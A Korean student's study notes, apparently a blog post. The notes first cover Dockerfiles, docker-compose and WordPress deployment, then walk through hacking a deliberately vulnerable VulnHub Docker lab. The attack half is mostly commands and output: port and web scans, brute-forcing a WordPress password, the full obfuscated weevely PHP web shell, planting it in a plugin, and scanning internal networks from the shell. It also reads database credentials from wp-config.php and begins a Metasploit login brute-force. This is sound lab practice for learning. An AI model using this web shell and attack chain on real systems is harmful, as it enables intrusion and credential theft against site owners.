컨테이너가 시작되었을 때 실행할 명령어를 지정합니다. CMD와 마찬가지로 도커 파일에서 한 번만 사용할 수 있으며, ENTRYPOINT와 CMD가 모두 존재할 경우 CMD는 ENTRYPOINT의 인자로 사용됩니다.

[복습 퀴즈] nginx 서버 도커 파일로 구현

  • ubuntu 최신버전
  • nginx 설치
  • index.html 페이지 수정
  • 80포트 오픈
  • 데몬 실행 : nginx -g deamon off (daemon off 는 nginx 서버를 foreground에서 실행)
┌──(kali㉿kali)-[~] └─$ mkdir nginx_web ┌──(kali㉿kali)-[~] └─$ cd nginx_web ┌──(kali㉿kali)-[~/nginx_web] └─$ sudo vim Dockerfile FROM ubuntu MAINTAINER "boanproject" LABEL title "Nginx Web Application" RUN apt-get update && apt-get -y install nginx RUN echo 'Docker Web Application' > /var/www/html/index.html EXPOSE 80 WORKDIR /var/www/html/ CMD ["nginx", "-g", "daemon off;"] ┌──(kali㉿kali)-[~/nginx_web] └─$ sudo docker run -itd -p 9999:80 --name=nginx_web nginx_web

도커파일 응용

┌──(kali㉿kali)-[~] └─$ mkdir web_test // 디렉토리 생성 ┌──(kali㉿kali)-[~] └─$ cd web_test //여기에 tar.gz 파일 넣기
┌──(kali㉿kali)-[~/web_test] └─$ vim Dockerfile // Dockerfile 생성 FROM ubuntu:14.04 MAINTAINER "boanproject" LABEL title "Web Service" RUN apt-get update && apt-get -y install apache2 ADD webapp.tar.gz /var/www/html EXPOSE 80 WORKDIR /var/www/html CMD ["/usr/sbin/apache2ctl", "-D", "FOREGROUND"] ┌──(kali㉿kali)-[~/web_test] └─$ ls Dockerfile webapp.tar.gz ┌──(kali㉿kali)-[~/web_test] └─$ sudo docker build -t webapp . ┌──(kali㉿kali)-[~/web_test] └─$ sudo docker run -itd -p 8088:80 --name=webapp webapp // 8088포트로 외부에서 접속해서 확인
  • 최종적인 이미지를 만들기 위한 도커 파일

번외 도커파일 응용) RUN wget으로 github 소스코드 다운받아서 사용 가능

FROM ubuntu MAINTAINER "boanproject" LABEL title "Nginx Web Application" RUN apt-get update && apt-get -y install nginx php5 wget RUN wget http://..... ADD webapp.tar.gz /var/www/html RUN echo 'Docker Web Application' > /var/www/html/index.html EXPOSE 80 WORKDIR /var/www/html/ CMD ["nginx", "-g", "daemon off;"] //이렇게 github에 있는 것다운받아서 하는 방식도 있음!!!

도커 컴포즈 자동화

도커 컴포즈(docker-compose)

  • 다중 컨테이너 애플리케이션 관리할 수 있는 실행도구
  • 프로젝트 단위로 만들어짐
  • yaml 파일에 애플리케이션 정의

- 이게 확장돼서 쿠버네티스로 발전

도커 컴포즈를 활용한 웹 서비스 구축

  • 다중 컨테이너 애플리케이션을 관리할 수 있는 실행 도구 (프로젝트)
  • 웹 서버 컨테이너 2개를 만들어서 연결성
  • 데이터베이스 컨테이너 1개를 만들어 웹서버와 연결
┌──(kali㉿kali)-[~/web_test] └─$ sudo apt update //업데이트 먼저 ┌──(kali㉿kali)-[~/web_test] └─$ sudo apt install docker-compose //도커 컴포즈 설치 ┌──(kali㉿kali)-[~] └─$ mkdir webserver // 디렉토리 생성 ┌──(kali㉿kali)-[~] └─$ cd webserver ┌──(kali㉿kali)-[~/webserver] └─$ sudo vim docker-compose.yaml version: '3.3' services: mydb: image: mariadb:10.4.6 restart: always environment: MYSQL_ROOT_PASSWORD: mypass MYSQL_DATABASE: wordpress volumes: - /home/kali/db-data:/var/lib/mysql ports: - "3306:3306" //두 개 이미지 사용할 것임 //mysql이지만 mariadb사용해도 됨 //어제 한 줄로 쓴 -e 그걸 environment로 표현한 것 //sudo docker run -it --name=mysql_test -e MYSQL_ROOT_PASSWORD=admin //-e MYSQL_DATABASE=test -v my-data-1:/var/lib/mysql -d mysql:5.7 //이거랑 비교해보기 //volumes는 이건 볼륨을 안만들고 명시적으로 한 것 //포트는 3306을 열어주는 것 ┌──(kali㉿kali)-[~/webserver] └─$ sudo docker-compose up // 실행 (콘솔 닫으면 안됨) //새로운 콘솔 열어주기 ┌──(kali㉿kali)-[~/webserver] └─$ sudo docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 1509d68a0aa6 mariadb:10.4.6 "docker-entrypoint.s…" 49 seconds ago Up 47 seconds 0.0.0.0:3306->3306/tcp, :::3306->3306/tcp webserver_mydb_1 //실행되고 있는 것을 알 수 있음 ┌──(kali㉿kali)-[~/webserver] └─$ sudo docker-compose ps Name Command State Ports ---------------------------------------------------------------------------------------------- webserver_mydb_1 docker-entrypoint.sh mysqld Up 0.0.0.0:3306->3306/tcp,:::3306- >3306/tcp //이건 따로 관리되는 중인 것 / 현재 디렉토리에서 별도로 관리되고 있는 것만 보임 (다른 도커 프로세스 안보임) //자기들만에 네트워크를 만듦 ┌──(kali㉿kali)-[~/webserver] └─$ sudo docker-compose stop Stopping webserver_mydb_1 ... done ┌──(kali㉿kali)-[~/webserver] └─$ sudo docker-compose ps Name Command State Ports --------------------------------------------------------------- webserver_mydb_1 docker-entrypoint.sh mysqld Exit 0 ┌──(kali㉿kali)-[~/webserver] └─$ sudo docker-compose start Starting mydb ... done ┌──(kali㉿kali)-[~/webserver] └─$ sudo docker-compose ps Name Command State Ports ---------------------------------------------------------------------------------------------- webserver_mydb_1 docker-entrypoint.sh mysqld Up 0.0.0.0:3306->3306/tcp,:::3306- >3306/tcp //일케 이것만 멈추고 시작하고 가능 ┌──(kali㉿kali)-[~/webserver] └─$ sudo docker exec -it webserver_mydb_1 bash root@1509d68a0aa6:/# mysql -u root -p Enter password: Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 9 Server version: 10.4.6-MariaDB-1:10.4.6+maria~bionic mariadb.org binary distribution Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MariaDB [(none)]> exit Bye root@1509d68a0aa6:/# exit exit ┌──(kali㉿kali)-[~/webserver] └─$ sudo docker-compose down Stopping webserver_mydb_1 ... done Removing webserver_mydb_1 ... done Removing network webserver_default //일케하면 한번에 shutdown 가능

워드프레스 사이트 구축. Compose 활용

  • 지금까지는 DB 구축이었음
  • wordpress는 웹을 구성하는 것
  • wordpress라는 이미지가 배포가 되고 있기때문에 여기에 환경설정을 잘 맞춰주면 되는 것
  • depends_on : DB에서 뭔가 만들어지는 것이 보여야 WEB에서 접속하는 것이 가능해지는 것이다 근데 DB 전부 구축 전 wordpress가 들어오면 오류가 날 것이기 때문에 이를 방지하기 위한 것이 depends_on인 것
  • 다중 컨테이너이므로 중요한 것이 먼저 만들어지는 것을 확인해야 함
┌──(kali㉿kali)-[~] └─$ mkdir wordpress ┌──(kali㉿kali)-[~] └─$ cd wordpress ┌──(kali㉿kali)-[~/wordpress] └─$ sudo vim docker-compose.yaml version: '3.3' services: mydb: image: mariadb:10.4.6 volumes: - /home/kali/db-data:/var/lib/mysql restart: always environment: MYSQL_ROOT_PASSWORD: wordpress MYSQL_DATABASE: wordpress MYSQL_USER: wordpress MYSQL_PASSWORD: wordpress wordpress: depends_on: - mydb image: wordpress:latest ports: - "8080:80" restart: always environment: WORDPRESS_DB_HOST: mydb:3306 WORDPRESS_DB_USER: wordpress WORDPRESS_DB_PASSWORD: wordpress WORDPRESS_DB_NAME: wordpress volumes: - /home/kali/web-db:/var/www/html ┌──(kali㉿kali)-[~/wordpress] └─$ sudo docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES ┌──(kali㉿kali)-[~/wordpress] └─$ sudo docker-compose up //돌아가는 것 없는 거 확인 후 올리기 ┌──(kali㉿kali)-[~/wordpress] └─$ sudo docker-compose ps Name Command State Ports ---------------------------------------------------------------------------------------------- wordpress_mydb_1 docker-entrypoint.sh mysqld Up 3306/tcp wordpress_wordpress_1 docker-entrypoint.sh apach ... Up 0.0.0.0:8080->80/tcp,:::8080- >80/tcp //잘 돌아가는 것 확인
  • 근데 DB연결 안됐다고 떴길래 확인해보니 아까 위에서 wp-data말고 db-data로 했었음 그래서 데이터베이스 저장 장소인 db-data를 한번 삭제하고 진행하고, 다시 도커 컴포즈를 실행한다
┌──(kali㉿kali)-[~/wordpress] └─$ sudo rm -rf /home/kali/db-data ┌──(kali㉿kali)-[~/wordpress] └─$ sudo docker-compose down ┌──(kali㉿kali)-[~/wordpress] └─$ sudo docker-compose up -d //하면 잘 됨

일케 만들수가 있따

  • 문제는 취약점이 많음
  • 그치만 테마 같은 것을 주제에 맞게 다운로드해서 사용이 가능한 것은 좋은 점!
┌──(kali㉿kali)-[~/wordpress] └─$ sudo docker-compose logs -f //이렇게 하면 로그들 볼 수 있음 ┌──(kali㉿kali)-[~/wordpress] └─$ sudo docker-compose down Stopping wordpress_wordpress_1 ... done Stopping wordpress_mydb_1 ... done Removing wordpress_wordpress_1 ... done Removing wordpress_mydb_1 ... done Removing network wordpress_default ┌──(kali㉿kali)-[~/wordpress] └─$ sudo docker-compose ps Name Command State Ports ------------------------------ //일단 이렇게 내려서 정리했음다

도커 파일과 도커 컴포즈 연결하기

  • 이전에 칼리리눅스-nginx conf가 LB 역할을 했었음
  • 이제 [도커 컨테이너 nginx conf] ——> 1, 2, 3번 컨테이너 서버 로드밸런싱!!! (도커파일로 생성!!!)

1. nginx 도커 이미지를 다운로드하고, 로드밸런서가 적용된 conf 로 수정을 해서 새로운 이미지 만들기

2. 1, 2, 3 기본 nginx 이미지를 다운로드 받아서, index.html 페이지들을 수정해서 새로운 이미지 만들기

3. 도커 컴포즈에서 4개의 생성된 이미지들을 자동으로 배포하고 관리하기

┌──(kali㉿kali)-[~] └─$ mkdir LB_WEB ┌──(kali㉿kali)-[~] └─$ cd LB_WEB ┌──(kali㉿kali)-[~/LB_WEB] └─$ ls ┌──(kali㉿kali)-[~/LB_WEB] └─$ mkdir nginx_lb ┌──(kali㉿kali)-[~/LB_WEB] └─$ mkdir web01 ┌──(kali㉿kali)-[~/LB_WEB] └─$ mkdir web02 ┌──(kali㉿kali)-[~/LB_WEB] └─$ mkdir web03 //이렇게 만들었음
┌──(kali㉿kali)-[~/LB_WEB] └─$ cd web01 ┌──(kali㉿kali)-[~/LB_WEB/web01] └─$ sudo vim Dockerfile FROM nginx:1.18 RUN rm /usr/share/nginx/html/index.html COPY index.html /usr/share/nginx/html/index.html ┌──(kali㉿kali)-[~/LB_WEB/web01] └─$ ls Dockerfile ┌──(kali㉿kali)-[~/LB_WEB/web01] └─$ echo "<h1>Test Page 01 </h1>" > index.html //인덱스 페이지 생성 ┌──(kali㉿kali)-[~/LB_WEB/web01] └─$ sudo cp Dockerfile ../web02/Dockerfile ┌──(kali㉿kali)-[~/LB_WEB/web01] └─$ sudo cp Dockerfile ../web03/Dockerfile // Dockerfile은 똑같으니까 copy ┌──(kali㉿kali)-[~/LB_WEB/web01] └─$ cd .. ┌──(kali㉿kali)-[~/LB_WEB] └─$ cd web02 ┌──(kali㉿kali)-[~/LB_WEB/web02] └─$ echo "<h1>Test Page 02 </h1>" > index.html ┌──(kali㉿kali)-[~/LB_WEB/web02] └─$ cd ../web03 ┌──(kali㉿kali)-[~/LB_WEB/web03] └─$ echo "<h1>Test Page 03 </h1>" > index.html // index 페이지 각각 생성 ┌──(kali㉿kali)-[~/LB_WEB/web03] └─$ cd .. ┌──(kali㉿kali)-[~/LB_WEB] └─$ ls nginx_lb web01 web02 web03 ┌──(kali㉿kali)-[~/LB_WEB] └─$ cd nginx_lb ┌──(kali㉿kali)-[~/LB_WEB/nginx_lb] └─$ ls ┌──(kali㉿kali)-[~/LB_WEB/nginx_lb] └─$ sudo vim Dockerfile // nginx_lb dockerfile FROM nginx RUN rm /etc/nginx/conf.d/default.conf COPY nginx.conf /etc/nginx/conf.d/default.conf ┌──(kali㉿kali)-[~/LB_WEB/nginx_lb] └─$ sudo vim nginx.conf // nginx.conf 파일 생성 upstream backend-lb { server 172.17.0.1:8001; server 172.17.0.1:8002; server 172.17.0.1:8003; } server { location / { proxy_pass http://backend-lb; } }

LB_WEB에서 바라본 TREE

┌──(kali㉿kali)-[~/LB_WEB] └─$ sudo vim docker-compose.yaml //yaml만들기 version: '3.8' services: web01: build: ./web01 ports: - "8001:80" web02: build: ./web02 ports: - "8002:80" web03: build: ./web03 ports: - "8003:80" nginx_lb: build: ./nginx_lb ports: - "8080:80" depends_on: - web01 - web02 - web03 ┌──(kali㉿kali)-[~/LB_WEB] └─$ sudo docker-compose up //잘되기를 빌기 //잘 됨 //자동화로 아침에 빌드한 것 만든 것
 
┌──(kali㉿kali)-[~/webserver] └─$ sudo docker images [sudo] password for kali: REPOSITORY TAG IMAGE ID CREATED SIZE lb_web_nginx_lb latest 710f46b58803 2 minutes ago 188MB lb_web_web03 latest 604e89f17e0b 2 minutes ago 133MB lb_web_web01 latest d6cbfbe3e4dc 2 minutes ago 133MB lb_web_web02 latest df10bf9a7f60 2 minutes ago 133MB nginx latest 7383c266ef25 6 days ago 188MB wordpress latest d653f5f8a602 2 weeks ago 685MB nginx 1.18 c2c45d506085 3 years ago 133MB mariadb 10.4.6 767cb145ae8e 4 years ago 354MB //이미지를 확인해보자 ┌──(kali㉿kali)-[~/LB_WEB] └─$ sudo docker-compose down Stopping lb_web_nginx_lb_1 ... done Stopping lb_web_web01_1 ... done Stopping lb_web_web03_1 ... done Stopping lb_web_web02_1 ... done Removing lb_web_nginx_lb_1 ... done Removing lb_web_web01_1 ... done Removing lb_web_web03_1 ... done Removing lb_web_web02_1 ... done Removing network lb_web_default ┌──(kali㉿kali)-[~/LB_WEB] └─$ sudo docker system prune -a //다 했으면 지우기

취약한 API (웹해킹) 환경 구축

- API 해킹하기 좋은 취약한 환경 관련 소스들 제공해주는 것

┌──(kali㉿kali)-[~] └─$ mkdir crapi ┌──(kali㉿kali)-[~] └─$ cd crapi ┌──(kali㉿kali)-[~/crapi] └─$ ls ┌──(kali㉿kali)-[~/crapi] └─$ curl -o docker-compose.yml https://raw.githubusercontent.com/OWASP/crAPI/main/deploy/docker/docker-compose.yml % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 7310 100 7310 0 0 84907 0 --:--:-- --:--:-- --:--:-- 86000 ┌──(kali㉿kali)-[~/crapi] └─$ ls docker-compose.yml ┌──(kali㉿kali)-[~/crapi] └─$ sudo docker-compose pull //일케 올려보자 ┌──(kali㉿kali)-[~/crapi] └─$ sudo docker-compose -f docker-compose.yml --compatibility up -d //뒤에건 안정성 검사
 

도커 컨테이너 취약점 분석

취약한 도커 설치

  • 고래가 귀엽다
  • Easy Mode로 들어왔다
  • VulnHub : 취약점 시나리오들을 올려둔 곳이다

- 언제 없어질 지 모름

- 지금 실행한 것이 여기서 다운 받은 것

포트 스캔

┌──(kali㉿kali)-[~] └─$ sudo nmap -sV 192.168.5.135 -p- Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-01 20:38 EDT Nmap scan report for 192.168.5.135 Host is up (0.0023s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6p1 Ubuntu 2ubuntu1 (Ubuntu Linux; protocol 2.0) 2375/tcp open docker Docker 17.06.0-ce 8000/tcp open http Apache httpd 2.4.10 ((Debian)) MAC Address: 00:0C:29:47:88:53 (VMware) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • 8000포트 접속해보기

- wordpress로 구축되어 있다고 쓰여 있음

  • 2375 포트 : 원격 API

- 원격에서 도커 제어 가능

- 매우 취약

NSE를 통한 취약점 분석

┌──(kali㉿kali)-[~] └─$ sudo nmap -sV -sC 192.168.5.135 -p-
  • 바깥에서 알면 위험한 정보들
  • 배너그래핑 : 정보 수집한다는 얘기

디렉토리 점검

┌──(kali㉿kali)-[~] └─$ sudo dirb http://192.168.5.135:8000
  • xmlrpc : xml 형태로 정보 요청하는 서버가 열려있음

- remote process call 접근 됨

- 옛날 버전같은 경우에는 외부에서 사용자 정보나 원격 코드 실행되는 사례 나옴

- exploit-db에도 검색해보며 wordpress core 취약점 발견 가능

--> core에 문제 발생하면 완전 큰 문제임 사이트 전체 바꿔야 됨

Nikto 웹 스캔

┌──(kali㉿kali)-[~] └─$ sudo nikto -h http://192.168.5.135:8000 wp-content/plugins/hello.php: The WordPress hello.php plugin reveals a file system path. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4463 //제일 중요한 정보임 이전에 있었던 취약점이 있고 이따가 우리가 여기에 공격을 진행할 것

API Archetectural Styles Comparison

  • 포멧 차이 살펴보기
  • 제일 많이 사용되는 것이 REST와 GraphQL
  • ELK에서 REST 사용했을껄? (POST, PUT ..등)
  • GraphQL은 모바일에서 많이 사용됨

wordpress 전용 점검 도구 : wpscan

┌──(kali㉿kali)-[~] └─$ sudo wpscan --url http://192.168.5.135:8000
  • feed 정보나 readme 파일 없애야 함 (버전표시 안하기 위해)
  • 테마에 설치된 경로도 항상 wp-content
  • 플러그인은 설치되어 있지 않다고 나와있는데 wpscan도 미탐 있을 수 있음
  • 옵션을 줘보기 -e 줘서 수집해보기
┌──(kali㉿kali)-[~] └─$ sudo wpscan --url http://192.168.5.135:8000 -e ap -e at -e u //ap : all plugin, at : all themes, u : user
  • 들어가서 확인해보니 bob 정보 나옴

- json 파일 요청 시 응답하는 형태

--> page=1부터 하나식 넣어보면 해당 사용자 정보 노출

워드프레스 사이트 취약점

  • 플러그인 취약점 : 외부에서 접근하는 사례 많음

- 사용자들이 사용하는 플러그인과 관리자들이 사용하는 플러그인들이 있음

- 사용자들이 사용할 수있는 것은 외부에서 다른 사람들도 사용 가능하다는 것

--> RCE, LFI , ..등이 많이 발생함

  • 테마 취약점 : 많이 보진 못함
  • 무작위 대입 공격 (관리자 페이지 대상으로)

- 방어해야하 함 이걸 방어하는 플러그인도 있음

  • 자주 사용하는 딕셔너리 파일(칼리 리눅스 내에서) 다운받기

- https://github.com/danielmiessler/SecLists

--> Fuzzing : 특정한 문자열 넣는 것 , 오류 -> 취약점

┌──(kali㉿kali)-[~] └─$ sudo git clone https://github.com/danielmiessler/SecLists.git Cloning into 'SecLists'... remote: Enumerating objects: 18594, done. remote: Counting objects: 100% (55/55), done. remote: Compressing objects: 100% (33/33), done. remote: Total 18594 (delta 22), reused 52 (delta 22), pack-reused 18539 Receiving objects: 100% (18594/18594), 1.23 GiB | 10.58 MiB/s, done. Resolving deltas: 100% (10283/10283), done. Updating files: 100% (6243/6243), done. ┌──(kali㉿kali)-[~] └─$ sudo wpscan --url http://192.168.5.135:8000/ --usernames bob --passwords /home/kali/SecLists/Passwords/Common-Credentials/10-million-password-list-top-10000.txt //다 되면 밑에 Password 뜸

  • 이걸로 접속하면

시스템 침투 과정

  • 플러그인 취약점 : 관리자쪽에 설치되어 있는 것 공략

- 파일 업로드 취약점

- 플러그인보면 두 개밖에 설치 안되어 있음

- 파일 업로드 할 수 있는 웹쉘용 플러그인 올릴 수 있음

  • 기존 플러그인에 악성코드 삽입 (RCE..)
  • 악성코드 만들기
┌──(kali㉿kali)-[~] └─$ sudo weevely generate hacker shell.php [sudo] password for kali: Generated 'shell.php' with password 'hacker' of 764 byte size. ┌──(kali㉿kali)-[~] └─$ cat shell.php <?php $b=str_replace('s','','scresatsse_fssunction'); $T='xd.(@base6d.4_ded.d.code($m[1]),$k)));$o=d.@od.b_gd.et_contd.ents();d.@ob_end_cleand.('; $J=');$d.r=@bd.ase64_encod.de(@d.x(@gzd.cd.ompress($o),$d.k));prd.ind.t("$pd.$kh$r$kf");}'; $h='$k="d6ad.6bc0d";d.d.$khd.="b10694a2d90e"d.;$kf=d."3a696d.48f3ad.0d.3d."d.;$p="LwKxd.pU'; $q='";for($d.i=0;$i<$l;d.){for(d.d.$d.j=0;($j<$d.c&&$i<$l);d.$d.j++d.,$i++){$o.=$t{$i}^d.$k{'; $z='$j}d.d.;d.}d.}return $o;}d.if (@pred.g_match("/d.d.$kd.h(.+)$kf/",@file_d.gd.et_contend'; $B='V3wOg1XDGe";functd.iod.n x($d.t,$k){$c=d.strlen(d.$k);$l=sd.trlen($d.t);d.$o="d.'; $C='.ts("pd.hp://input")d.,d.$md.)==1) {@ob_stad.rt();@ed.val(d.d.@gzuncompresd.d.s(@'; $D=str_replace('d.','',$h.$B.$q.$z.$C.$T.$J); $P=$b('',$D);$P(); ?> //hacker는 php 접속하기 위한 password

- weevely : 세션 연결 기반의 악성코드

- 웹쉘 업로드 <---세션 연결(공격자)

- 일종의 Reverse

- shell 권한 획득과 똑같은 원리

  • php 내용 복사 > 플러그인 edit > hello.php에 삽입

- 잘 마감하고 잘 시작하고 그 사이에 넣는 것

- update File

  • hello.php 호출하면 공격자는 세션 연결 가능해짐
┌──(kali㉿kali)-[~] └─$ sudo weevely http://192.168.5.135:8000/wp-content/plugins/hello.php hacker [+] weevely 4.0.1 [+] Target: 192.168.5.135:8000 [+] Session: /root/.weevely/sessions/192.168.5.135/hello_0.session [+] Browse the filesystem or execute commands starts the connection [+] to the target. Type :help for more information. www-data@8f4bca8ef241:/var/www/html/wp-content/plugins $ system_info +--------------------+------------------------------------------------------------------------------------------+ | document_root | /var/www/html | | whoami | www-data | | hostname | 8f4bca8ef241 | | pwd | /var/www/html/wp-content/plugins | | open_basedir | | | safe_mode | False | | script | /wp-content/plugins/hello.php | | script_folder | /var/www/html/wp-content/plugins | | uname | Linux 8f4bca8ef241 3.13.0-128-generic #177-Ubuntu SMP Tue Aug 8 11:40:23 UTC 2017 x86_64 | | os | Linux | | client_ip | 192.168.5.132 | | max_execution_time | 30 | | php_self | /wp-content/plugins/hello.php | | dir_sep | / | | php_version | 5.6.31 | +--------------------+------------------------------------------------------------------------------------------+ www-data@8f4bca8ef241:/var/www/html/wp-content/plugins $

- 침투된 것

www-data@8f4bca8ef241:/var/www/html/wp-content/plugins $ ip addr 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever 5: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:12:00:02 brd ff:ff:ff:ff:ff:ff inet 172.18.0.2/16 scope global eth0 valid_lft forever preferred_lft forever //ip 정보 확인
  • 앞에 해시값 있는 것이 도커의 특징
  • 안되는 명령어 많음
www-data@8f4bca8ef241:/var/www/html/wp-content/plugins $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@8f4bca8ef241:/proc $ ls //프로세스 관리하고 있는 디렉토리임 //현재 활성화중인 번호들
www-data@8f4bca8ef241:/proc $ cd 1 www-data@8f4bca8ef241:/proc/1 $ ls -al // 1들어가서 확인 www-data@8f4bca8ef241:/proc/1 $ cat cgroup 11:name=systemd:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389a11bfe68b770366a669 10:hugetlb:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389a11bfe68b770366a669 9:perf_event:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389a11bfe68b770366a669 8:blkio:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389a11bfe68b770366a669 7:freezer:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389a11bfe68b770366a669 6:devices:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389a11bfe68b770366a669 5:memory:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389a11bfe68b770366a669 4:cpuacct:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389a11bfe68b770366a669 3:cpu:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389a11bfe68b770366a669 2:cpuset:/docker/8f4bca8ef241501721a6d88b3c1a9b7432f19b2d4b389a11bfe68b770366a669 //컨테이너 정보들이 나옴
  • 이렇게 프로세스 1번에 cgroup안에 도커 정보들이 나오므로 여기는 도커 컨테이너 안인 것

- cgroup? 우리가 컨테이너마다 격리해서 관리하는데 이 컨테이너들을 격리해주고 관리해주는 역할을 함

  • 다른 도커 애들도 동작하고 있을 수 있기 때문에 다른 도커에는 뭐가 있는 지 공략해봐야 함

- DB가 어디에 있고 어떻게 연결되어 있을까 생각하기

sudo 권한 없을 때 프로그램 설치하기

- nmap raw 다운로드 하기

  • ls -al 해서 살펴보면 tmp 하는 공간은 drwxrwxrwxrt로 되어 있어서 다 할 수 있는 것을 볼 수 있음

- 악성코드는 사용자 tmp 공간을 많이 사용하게 됨

www-data@8f4bca8ef241:/ $ cd tmp www-data@8f4bca8ef241:/tmp $ //그래서 여기로 가기 www-data@8f4bca8ef241:/tmp $ :file_upload /home/kali/Downloads/nmap /tmp/nmap True www-data@8f4bca8ef241:/tmp $ ls nmap //이렇게 잘 다운된 것 볼 수 있음 www-data@8f4bca8ef241:/tmp $ ls -al total 5816 drwxrwxrwt 2 root root 4096 May 2 04:47 . drwxr-xr-x 71 root root 4096 Aug 22 2017 .. -rw-r--r-- 1 www-data www-data 5944464 May 2 04:47 nmap //권한은 없음 //근데 tmp에서는 권한을 줄 수 있다는 것 www-data@8f4bca8ef241:/tmp $ chmod +x nmap www-data@8f4bca8ef241:/tmp $ ./nmap //실행됨 www-data@8f4bca8ef241:/tmp $ ip addr 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever 5: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:12:00:02 brd ff:ff:ff:ff:ff:ff inet 172.18.0.2/16 scope global eth0 valid_lft forever preferred_lft forever www-data@8f4bca8ef241:/tmp $ ./nmap 172.18.0.0/24 //포트 스캔 해보자 Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2024-05-02 04:55 UTC Unable to find nmap-services! Resorting to /etc/services Cannot find nmap-payloads. UDP payloads are disabled. Nmap scan report for 172.18.0.1 Host is up (0.00013s latency). Not shown: 1204 closed ports PORT STATE SERVICE 22/tcp open ssh Nmap scan report for 8f4bca8ef241 (172.18.0.2) Host is up (0.00032s latency). Not shown: 1204 closed ports PORT STATE SERVICE 80/tcp open http Nmap scan report for content_ssh_1.content_default (172.18.0.3) Host is up (0.00032s latency). Not shown: 1204 closed ports PORT STATE SERVICE 22/tcp open ssh Nmap scan report for content_db_1.content_default (172.18.0.4) Host is up (0.00012s latency). Not shown: 1204 closed ports PORT STATE SERVICE 3306/tcp open mysql Nmap done: 256 IP addresses (4 hosts up) scanned in 3.04 seconds //4개가 보임 www-data@8f4bca8ef241:/tmp $ ./nmap 172.17.0.0/24 Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2024-05-02 04:57 UTC Unable to find nmap-services! Resorting to /etc/services Cannot find nmap-payloads. UDP payloads are disabled. Nmap scan report for 172.17.0.1 Host is up (0.00017s latency). Not shown: 1204 closed ports PORT STATE SERVICE 22/tcp open ssh Nmap done: 256 IP addresses (1 host up) scanned in 3.19 seconds //하나 보임
  • 우리는 지금 직접적으로 DB에 들어갈 수는 없지만 wordpress 안에서 연결점을 찾아 들어갈 수 있도록 하는 것은 할 수 있음
  • 그렇다면 DB Connection 정보는 어디에 있을까?
www-data@8f4bca8ef241:/var/www/html $ ls index.php license.txt readme.html wp-activate.php wp-admin wp-blog-header.php wp-comments-post.php wp-config-sample.php wp-config.php wp-content wp-cron.php wp-includes wp-links-opml.php wp-load.php wp-login.php wp-mail.php wp-settings.php wp-signup.php wp-trackback.php xmlrpc.php //여기에서 wp-config에 연결 정보가 있따 www-data@8f4bca8ef241:/var/www/html $ cat wp-config.php //살펴보면 /** The name of the database for WordPress */ define('DB_NAME', 'wordpress'); /** MySQL database username */ define('DB_USER', 'wordpress'); /** MySQL database password */ define('DB_PASSWORD', 'WordPressISBest'); /** MySQL hostname */ define('DB_HOST', 'db:3306'); /** Database Charset to use in creating database tables. */ define('DB_CHARSET', 'utf8'); /** The Database Collate type. Don't change this if in doubt. */ define('DB_COLLATE', ''); //이렇게 DB 관련 정보들이 있음
  • 터널링 공격 (유사 : 포트포워딩)할 수 있음

- victim ---SSH 서버---공격자

- 이걸 편하게 하기 위해 metasploit의 포트 포워딩 기능 사용할 예정

- metasploit에 다른 워드프레스 공격 기능들도 사용해보자

- Docker SSH도 어케할 수 있을 지 보자

 

Metasploit을 이용한 워드프레스 공격 및 포트 포워딩

워드프레스 공격

┌──(kali㉿kali)-[~/Downloads] └─$ sudo msfconsole msf6 > search wordpress //엄청 많이 나옴 msf6 > search wordpress_xmlrpc Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/scanner/http/wordpress_xmlrpc_login normal No Wordpress XML-RPC Username/Password Login Scanner 1 auxiliary/dos/http/wordpress_xmlrpc_dos 2014-08-06 normal No Wordpress XMLRPC DoS Interact with a module by name or index. For example info 1, use 1 or use auxiliary/dos/http/wordpress_xmlrpc_dos msf6 > use 0 msf6 auxiliary(scanner/http/wordpress_xmlrpc_login) > show options msf6 auxiliary(scanner/http/wordpress_xmlrpc_login) > set RHOSTS 192.168.5.135 RHOSTS => 192.168.5.135 msf6 auxiliary(scanner/http/wordpress_xmlrpc_login) > set RPORT 8000 RPORT => 8000 msf6 auxiliary(scanner/http/wordpress_xmlrpc_login) > set PASS_FILE /home/kali/SecLists/Passwords/Common-Credentials/10-million-password-list-top-10000.txt PASS_FILE => /home/kali/SecLists/Passwords/Common-Credentials/10-million-password-list-top-10000.txt msf6 auxiliary(scanner/http/wordpress_xmlrpc_login) > set USERNAME bob USERNAME => bob 